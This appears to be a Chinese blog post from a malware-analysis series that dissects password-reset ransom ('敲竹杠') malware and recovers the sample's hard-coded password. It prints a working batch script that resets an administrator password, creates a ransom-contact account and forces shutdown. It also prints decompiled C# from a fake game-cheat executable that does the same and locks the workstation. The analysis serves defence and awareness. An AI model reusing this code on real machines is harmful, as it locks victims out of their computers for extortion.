前言

恶意程序发展至今,其功能已经从最初的单纯破坏,不断发展为隐私的窥探,信息的盗取,乃至如今非常流行的“敲竹杠”病毒,用于勒索。可见随着时代的发展,病毒的作者们往往也是想利用自己的技术来获取不义之财,变得越来越功利化了。而本系列文章也顺应了这个发展,从病毒讨论到木马,进而来到了“敲竹杠”病毒的讨论上来。

什么是“敲竹杠”病毒

其实“敲竹杠”病毒的行为很简单,它就是篡改我们的计算机的开机密码,然后病毒作者留下个人的联系方式,让受害的用户去联系他,花钱消灾。“敲竹杠”主要通过QQ群和邮件进行传播,经常会伪装成类似于“CF免费刷枪无毒软件”(如这次研究的CF.exe),“免费刷Q币”等极具诱惑性的名称,一旦用户点击运行,系统登陆密码就会被篡改。而普通用户遇到这种情况,往往无能为力,加上“勒索”钱财的数额一般并不大,所以花钱买密码的人也不在少数。由于这种病毒并不需要编写者具备很高深的技术水平,从而也就助长了“敲竹杠”的盛行。这里举一个最简单的“敲竹杠”代码的例子,它是一个批处理(.bat)文件:

@echo off
net user 姜晔 wojiushimima
net user 要密码加QQ123456789 wojiushimima /add
shutdown.exe -s -t 10

这里简单讲解一下上述代码。代码第二行的意思是将名为“姜晔”的账户密码修改为“wojiushimima”(我就是密码)。注意,在我的系统中,账户“姜晔”就是管理员账户,而大多数情况下,系统默认的管理员账户名称为“Administrator”,所以具体情况要具体分析。在此也呼吁大家不要将“Administrator”作为管理员账户名,免得被恶意程序所利用。代码第三行的意思是创建名为“要密码加QQ123456789”的账户,其密码也是“wojiushimima”。代码第四行的意思是在10秒后关闭计算机。运行上述代码,如图所示:

图1 运行“敲竹杠”病毒

程序运行10秒后,自动关机,再开机,如下图所示:

图2

可见,这里出现了两个账户,一个是原始账户,不过密码已经被修改了。另一个账户是病毒作者的联系方式,该账户的密码我们也是不知道的。至此,普通的计算机用户为了能够正常使用自己的电脑,也就只有去联系病毒作者,去买密码了。

什么是.NET

既然本文讨论的是一款基于.NET的“敲竹杠”,那么有必要在这里简单讨论一下什么是.NET。

其实.NET是微软设计的独立于操作系统之上的平台,可以将它看成是一套虚拟机,无论机器运行的是什么操作系统,只要该系统安装了.NET框架,便可以运行.NET可执行程序,享受基于.NET的各类服务。上面这句话是从用户角度出发的观点,如果从Windows系统的角度来理解,.NET就是一系列运行于Ring3层的DLL文件。

可能这么说依旧比较抽象,有兴趣的读者可以查询相关书籍进行进一步的学习研究。我个人觉得我们没必要过于在意这个定义,作为病毒分析人员,更重要的是掌握.NET平台的逆向分析方法。

.NET有一个特点,那就是无论程序是用C#,还是C++,或是VB编写,最终都被编译为.NET的中间语言IL。而静态分析.NET程序,就是用反编译工具将程序的指令字节反编译成IL指令或高级语言,通过阅读反编译代码掌握程序的流程与功能。由于.NET下的可执行文件同时保存有元数据与IL代码,其静态反编译出的代码具有极强的可读性,几乎等同于源代码。

.NET平台的反编译工具最为常用的是ildasm与Reflector。这里我打算选用后者进行分析。该软件目前已经变为收费版,大家可以在http://www.red-gate.com/products/dotnet-development/reflector/下载14天的全功能试用版。

“敲竹杠”病毒分析

这次的病毒样本名为“CF.exe”,从名称就可以看出它应该是和游戏“穿越火线”相关,伪装成是游戏的辅助类程序,实际上就是“敲竹杠”。但是它的特别之处就在于开创性地采用了.NET框架,瞬间显得与众不同起来。为什么我知道它采用了.NET框架呢?这是PEiD的功劳:

图3

那么接下来就使用Reflector来载入这个病毒样本。由于经过Reflector的分析生成的代码就如同源代码,所以很容易就能够找到恶意程序的核心位置:

图4

该函数的完整代码如下:

private void timer1_Tick(object sender, EventArgs e)
{
this.j++;
if (this.j <= 3)
{
this.label4.Text = "正在扫描CF网络漏洞\x00b7\x00b7\x00b7";
this.progressBar1.Value = this.j;
}
else if ((this.j <= 5) && (this.j > 3))
{
this.label4.Text = "正在监测CF模块SX动作\x00b7\x00b7";
this.progressBar1.Value = this.j;
}
else if ((this.j < 10) && (this.j > 5))
{
this.label4.Text = "避开SX加载辅助模块\x00b7\x00b7\x00b7";
this.progressBar1.Value = this.j;
}
else if (this.j == 10)
{
this.label4.Text = "模块加载成功启动中\x00b7\x00b7\x00b7";
this.progressBar1.Value = this.j;
ResetUserPassword(Environment.UserName, "razggcd");
MessageBox.Show("反外挂联盟提示您:绿色游戏健康生活 共同创建公平的竞技平台 !为了您的计算机安全 请向QQ:1460459195 充值30QB并添加好友索要密码 ! 谢谢配合 !", "提示信息", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
CreateNTUser("加Q1460459195", "razggcd", "");
LockWorkStation();
}
}

很明显,程序通过计数器的不断增加,从而显示不同的文字,这也就给用户造成了一种假象,以为游戏辅助已经生效,似乎正在运行一样。而当计数器自增到10的时候,就会执行最后一个if语句。该语句中的ResetUserPassword用于将用户密码修改为“razggcd”,之后显示一段信息,让用户与病毒作者联系,以获取密码,实现“敲竹杠”。接下来创建名为“加Q1460459195”,密码为“razggcd”的用户。最后锁定工作站保护其免受未经授权者使用。这一整套流程,与我之前讨论的批处理版的“敲竹杠”大同小异。可见,虽说本病毒改变了外在的形式,但是其内部机理还是没有变化的。

通过上述分析,我们已经获取了密码,那么也就大功告成了。

小结

相比较于之前所分析的病毒木马,“敲竹杠”的分析其实还是非常简单的。特别是这种基于.NET的程序,反编译出来的程序就可以等同于源程序,比汇编代码容易理解多了。由于现在“敲竹杠”是主流,所以我以后会选取一些比较有代表性的“敲竹杠”进行研究。希望大家能够提高防范意识,让这些程序的编写者们无机可乘。

病毒木马查杀实战第013篇:一个基于.NET的“敲竹杠”病毒研究的更多相关文章

  1. 病毒木马查杀实战第025篇:JS下载者脚本木马的分析与防御

    前言 这次我与大家分享的是我所总结的关于JS下载者脚本木马的分析与防御技术.之所以要选择这样的一个题目,是因为在日常的病毒分析工作中,每天都会遇到这类病毒样本,少则几个,多则几十个(当然了,更多的样本 ...

  2. 病毒木马查杀实战第011篇:QQ盗号木马之专杀工具的编写

    前言 由于我已经在<病毒木马查杀第004篇:熊猫烧香之专杀工具的编写>中编写了一个比较通用的专杀工具的框架,而这个框架对于本病毒来说,经过简单修改也是基本适用的,所以本文就不讨论那些重叠的 ...

  3. 病毒木马查杀实战第010篇:QQ盗号木马之十六进制代码分析

    前言 按照我的个人习惯,在运用诸如IDA Pro与OllyDBG对病毒进行逆向分析之前,我都会利用一些自动化的工具,通过静态或动态的分析方法(参见<病毒木马查杀第008篇:熊猫烧香之病毒查杀总结 ...

  4. 病毒木马查杀实战第009篇:QQ盗号木马之手动查杀

    前言 之前在<病毒木马查杀第002篇:熊猫烧香之手动查杀>中,我在不借助任何工具的情况下,基本实现了对于"熊猫烧香"病毒的查杀.但是毕竟"熊猫烧香" ...

  5. 病毒木马查杀实战第022篇:txt病毒研究

    前言 反病毒爱好者们非常喜欢讨论的一个问题就是,现在什么样的病毒才算得上是主流,或者说什么样的病毒才是厉害的病毒呢?我们之前的课程所解说的都是Ring3层的病毒.所以有些朋友可能会觉得.那么Ring0 ...

  6. 病毒木马查杀实战第020篇:Ring3层主动防御之基本原理

    前言 假设说我们的计算机中安装有杀毒软件,那么当我们有意或无意地下载了一个恶意程序后.杀软一般都会弹出一个对话框提示我们,下载的程序非常可能是恶意程序,建议删除之类的.或者杀软就不提示.直接删除了:或 ...

  7. 病毒木马查杀实战第015篇:U盘病毒之脱壳研究

    前言 因为我们的终于目标是编写出针对于这次的U盘病毒的专杀工具.而通过上次的分析我们知道,病毒有可能在不同的计算机中会以不同的名称进行显示.假设真是如此,那么就有必要在此分析出病毒的命名规律等特征,然 ...

  8. 病毒木马查杀实战第017篇:U盘病毒之专杀工具的编写

    前言 经过前几次的讨论,我们对于这次的U盘病毒已经有了一定的了解,那么这次我们就依据病毒的行为特征,来编写针对于这次U盘病毒的专杀工具. 专杀工具功能说明 因为这次是一个U盘病毒,所以我打算把这次的专 ...

  9. 病毒木马查杀实战第014篇:U盘病毒之手动查杀

    在U盘中发现病毒 前段时间需要往虚拟机中拷贝点资料,如同往常一样,插上我的U盘,并且在虚拟机的设置中选择连接U盘.奇怪的是这次的连接时间较以往长,并且还出现了"自动播放"窗口: 图 ...

随机推荐

  1. 《Selenium自动化测试实战》新书上市,有需要朋友们可以了解下,欢迎大家多提宝贵意见

    京东:https://item.jd.com/13123910.html当当:http://product.dangdang.com/29204520.html 1. 本书基于 Python 3.8 ...

  2. CodeBlocks的安装配置以及使用教程

    CodeBlocks的安装配置以及使用教程 教程写的很啰嗦,本来几句话就能搞定的,但为了照顾到那部分真正的小白还请大家见谅! 一.下载 前往CodeBlocks官网下载带编译器的版本,目前的最新版本为 ...

  3. 谈谈注册中心 zookeeper 和 eureka中的CP和 AP

    谈谈注册中心 zookeeper 和 eureka中的CP和 AP 前言 在分布式架构中往往伴随CAP的理论.因为分布式的架构,不再使用传统的单机架构,多机为了提供可靠服务所以需要冗余数据因而会存在分 ...

  4. 使用wireshark 抓取 http https tcp ip 协议进行学习

    使用wireshark 抓取 http https tcp ip 协议进行学习 前言 本节使用wireshark工具抓包学习tcp ip http 协议 1. tcp 1.1 tcp三次握手在wire ...

  5. LNMP配置——Nginx配置 —— 用户认证

    一.配置 再来创建一个新的虚拟主机 #cd /usr/local/nginx/conf/vhost #vi test.com.conf 写入: server { listen 80; server_n ...

  6. Typora的一些快捷键

      语法格式 快捷键 标题 # + 空格 = 一级标题, ## + 空格 =二级标题, 以此类推 shift + 数字1 =一级标题 ,shift + 数字2 =二级标题 , 以此类推 有序列表 1 ...

  7. MongoDB学习--环境搭建记录

    Mongo安装教程,参考英文官网 基本命令, 索引的引用,索引基于地理位置的数据, win10 64位 系统中安装虚拟机 win10 系统中安装虚拟机VMwareWorkstation11 并安装 L ...

  8. Python内置函数作用及解析

    Python内置的函数及其用法.为了方便记忆,已经有很多开发者将这些内置函数进行了如下分类: 数学运算(7个)    类型转换(24个)    序列操作(8个)    对象操作(7个)    反射操作 ...

  9. linux 系统用户与用户组管理

    关于/etc/passwd和/etc/shadow /etc/passwd 第1个字段为用户名(第一行中的root就是用户名)第2个字段存放的是该账号的口令.第3个字段为一个数字,这个数字代表的用户标 ...

  10. 精通模块化JavaScript

    近日读了一本名为<精通模块化JavaScript>的书,并记录了其中的精髓. 一.模块化思维 精通模块化开发并不是指要遵循一套定义明确的规则,而是指能够将自己置身于使用者的角度,为可能即将 ...